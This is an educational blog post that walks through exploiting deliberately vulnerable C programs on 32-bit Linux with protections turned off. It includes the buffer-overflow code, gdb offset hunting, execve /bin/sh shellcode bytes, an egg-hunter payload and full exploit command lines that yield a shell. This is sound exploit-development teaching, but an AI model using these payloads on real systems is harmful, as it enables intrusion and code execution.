Why do we need Egg Hunters ?

In this post I am going to show you few examples of buffer overflow and why we need egghunters in certain scenarios

For these examples I am going to turn of all security features and compile our code with few unsafe operation flags.
  • Set the system with ASLR disabled - echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  • Allow stack smashing - Compile the program with -fno-stack-protector
  • Make stack executable - Compile the program with -z execstack 

Lets get started with some simple vulnerable code

Scenario 1

#include<stdio.h>
#include<string.h>
void main(int argc,char **argv){
        char buffer[500];
        strcpy(buffer,argv[1]);
        printf("%s",buffer);
}

dibyendu@ubuntu:~/Desktop/b0f$ gdb -q ./b0f.o
Reading symbols from /home/dibyendu/Desktop/b0f/b0f.o...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "A"*100+"B"*200+"C"*300+"D"*400+"E"*500')
Starting program: /home/dibyendu/Desktop/b0f/b0f.o $(python -c 'print "A"*100+"B"*200+"C"*300+"D"*400+"E"*500')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEE
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) 

Now if we see the memory contents of the stack , it is really nice because we are able to overwrite a lot of locations ( good for our shellcodes ).

0xbfffeb7c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebbc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebcc: 0x41414141 0x42424242 0x42424242 0x42424242
0xbfffebdc: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffebec: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffebfc: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec0c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec1c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec2c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec3c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec4c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec5c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec6c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec7c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffec8c: 0x42424242 0x42424242 0x42424242 0x43434343
0xbfffec9c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffecac: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffecbc: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeccc: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffecdc: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffecec: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffecfc: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed0c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed1c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed2c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed3c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed4c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed5c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed6c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed7c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed8c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffed9c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffedac: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffedbc: 0x43434343 0x43434343 0x44444444 0x44444444
0xbfffedcc: 0x44444444 0x44444444 0x44444444 0x44444444
0xbfffeddc: 0x44444444 0x44444444 0x44444444 0x44444444

As ASLR is disabled and the address space is not radomized we will pick up a location and place the shellcode over there and overwrite EIP with that location. Let us get the EIP offset first.

(gdb) r $(python -c 'print "A"*100+"B"*200+"C"*212+"D"*4+"E"*500')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dibyendu/Desktop/b0f/b0f.o $(python -c 'print "A"*100+"B"*200+"C"*212+"D"*4+"E"*500')

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()

Okay so
EIP Offset = 212+100+200 = 512
Address in Stack where we will keep our shellcode =  0xbfffef38( found with debugging )

bin/sh shellcode length = 23 bytes
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

Final Exploit and the result

(gdb) r $(python -c 'print "\x90"*16+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x90"*(512-23-16)+"\x38\xef\xff\xbf"+"D"*16')
Starting program: /home/dibyendu/Desktop/b0f/b0f.o $(python -c 'print "\x90"*16+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x90"*(512-23-16)+"\x38\xef\xff\xbf"+"D"*16')
process 3549 is executing new program: /bin/dash
$ whoami
dibyendu

Scenario 2

Well that was pretty straightforward , now let us take the following code. Here we have lowered the buffer space to 100 character. Also note that we are using strncpy and not strcpy



#include<stdio.h>
#include<string.h>
void main(int argc,char **argv){
        char buffer[100];
        strncpy(buffer,argv[1],200);
        printf("%s",buffer);
}

We will run the same initial exploit from first example and we will also check the stack

(gdb)  r $(python -c 'print "A"*100+"B"*200+"C"*300+"D"*400+"E"*500')
Starting program: /home/dibyendu/Desktop/b0f/bof_limited_buffer.o $(python -c 'print "A"*100+"B"*200+"C"*300+"D"*400+"E"*500')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

We can see in the stack contents that we are only able to overwrite a limited memory due to the limited buffer space of 100 bytes and copy restriction upto 200 bytes

(gdb) x/100x $esp-200
0xbfffec88: 0xb7e61741 0xb7fc6ff4 0x00000000 0x00000000
0xbfffec98: 0xbfffed48 0xb7e6b8cf 0xb7fc7a20 0x08048530
0xbfffeca8: 0xbfffecc4 0xb7e6b8a0 0x08048530 0xb7fff918
0xbfffecb8: 0xb7fc6ff4 0x08048452 0x08048530 0xbfffecdc
0xbfffecc8: 0x000000c8 0xb7ff3f9c 0xbfffed84 0x00000000
0xbfffecd8: 0x00000000 0x41414141 0x41414141 0x41414141
0xbfffece8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffecf8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed08: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed18: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed28: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed38: 0x41414141 0x41414141 0x42424242 0x42424242
0xbfffed48: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffed58: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffed68: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffed78: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffed88: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffed98: 0x42424242 0x42424242 0x42424242 0xb7ff2660
0xbfffeda8: 0xb7e38449 0xb7ffeff4 0x00000002 0x08048360
0xbfffedb8: 0x00000000 0x08048381 0x08048414 0x00000002
0xbfffedc8: 0xbfffede4 0x08048460 0x080484d0 0xb7fed230
0xbfffedd8: 0xbfffeddc 0xb7fff918 0x00000002 0xbfffef53
0xbfffede8: 0xbfffef83 0x00000000 0xbffff560 0xbffff573
0xbfffedf8: 0xbffff59e 0xbffff5ae 0xbffff5b9 0xbffff60a

What is egg hunter ?
Egg Hunter is a technique that is used to run shellcode when the buffer space is too small to accommodate the shellcode.


So as you can see that we have limited buffer in our application, and we are able to overwrite only a small content section in the stack , but actually in memory the arguments that was passed still reside.

(gdb) x/150x $esp+600
0xbfffefa8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefd8: 0x41414141 0x41414141 0x41414141 0x42414141
0xbfffefe8: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffeff8: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff008: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff018: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff028: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff038: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff048: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff058: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff068: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff078: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff088: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff098: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffff0a8: 0x42424242 0x43424242 0x43434343 0x43434343
0xbffff0b8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0c8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0d8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0e8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0f8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff108: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff118: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff128: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff138: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff148: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff158: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff168: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff178: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff188: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff198: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff1a8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff1b8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff1c8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff1d8: 0x44434343 0x44444444 0x44444444 0x44444444
0xbffff1e8: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffff1f8: 0x44444444 0x44444444

So the concept of egg hunter is , put a unique string in the memory also known as "tag" and we will search for the occurence of this tag and just next to the tag we will put the shellcode. So the egghunter payload ( which is smaller in size compared to the payload ) will search for the tag and once it finds the tag, its control will jump to that location and thus execute the payload in the process

Implementing an egg hunter ( with refernce to Scapes's document )




So in this case our EIP at 112
(gdb) r $(python -c 'print "A"*112+"B"*2+"C"*2+"D"*400+"E"*500')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dibyendu/Desktop/b0f/bof_limited_buffer.o $(python -c 'print "A"*112+"B"*2+"C"*2+"D"*400+"E"*500')

Program received signal SIGSEGV, Segmentation fault.
0x43434242 in ?? ()

So our exploit payload will be something like this

[NOPS] [EGG HUNTER PAYLOAD] [NOPS] [RETURN ADDRESS ] [TAG][TAG][SHELLOCODE]

[NOPS] = "\x90"*24
[EGG HUNTER PAYLOAD] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xbb\x42\x41\x42\x41\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"
[NOPS] = "\x90"*(112-43-24)
[RETURN ADDRESS ] = 0xbffff268
[TAG][TAG] = "\x42\x41\x42\x41\x42\x41\x42\x41"
[SHELLOCODE] = \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

Testing our proof of concept

(gdb) r $(python -c 'print "\x90"*24+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xbb\x42\x41\x42\x41\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"+"\x90"*(112-43-24)+"\x68\xf2\xff\xbf"+"\x42\x41\x42\x41\x42\x41\x42\x41"+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
Starting program: /home/dibyendu/Desktop/b0f/bof_limited_buffer.o $(python -c 'print "\x90"*24+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xbb\x42\x41\x42\x41\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"+"\x90"*(112-43-24)+"\x68\xf2\xff\xbf"+"\x42\x41\x42\x41\x42\x41\x42\x41"+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
process 3762 is executing new program: /bin/dash
$ whoami
dibyendu

Credits and References  : 

Florian Bogner ( https://www.linkedin.com/in/fbogner/)   [ for giving me some tips of the vulnerable code implementation ]

www.hick.org/code/skape/papers/win32-shellcode.pdf            [ for the egghunter explanation ]

https://osandamalith.com/2015/02/12/x86-linux-egg-hunter/   [ for the c wrapper of the egghunter shellcode ]